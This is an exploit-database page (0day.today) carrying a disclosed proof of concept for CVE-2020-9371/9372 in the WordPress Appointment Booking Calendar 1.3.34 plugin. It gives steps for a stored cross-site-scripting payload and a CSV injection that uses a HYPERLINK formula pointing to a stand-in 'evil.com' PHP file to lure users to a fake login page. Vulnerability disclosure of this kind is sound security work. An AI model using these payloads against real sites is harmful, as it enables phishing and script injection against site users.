0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Wordpress Appointment Booking Calendar 1.3.34 Plugin - CSV Injection Vulnerability
[# Exploit Title: Wordpress Plugin Appointment Booking Calendar 1.3.34 - CSV Injection # Exploit Author: Daniel Monzón (stark0de) # Vendor Homepage: https://www.codepeople.net/ # Software Link: https://downloads.wordpress.org/plugin/appointment-booking-calendar.zip # Version: 1.3.34 # Tested on: Windows 7 x86 SP1 # CVE : CVE-2020-9371, CVE-2020-9372 ----Stored Cross-Site-Scripting------------------- 1) In http://127.0.0.1/wordpress/wp-admin/admin.php?page=cpabc_appointments.php 2) Calendar Name=<script>alert(0)</script> and Update 3) Click in any of the other tabs ----CSV injection--------------------------------- 1) First we create a new calendar (Pages, add new, booking calendar) and Publish it (we can now log out) 2) Then we go to the page and introduce data, and the payload: New booking: Name: IMPORTANT DATA Description: http://evil.com/evil.php New booking: Name: test Description: =HYPERLINK(K2;H2) This is the way it would work if i had a business registered and the payment was completed it can also be done by adding the new bookings with the same data from the admin panel 3) Then we go to Bookings List and export the CSV file 4) After that we open the file, and import data from an external file, using comma as separator 5) Hyperlink to malicious PHP file is inserted and the user clicks on it, user is redirected to a fake login page (for example) Tested on Windows 7 Pro SP1 32-bit, Wordpress 5.3.2 and Excel 2016 # 0day.today [2024-11-15] #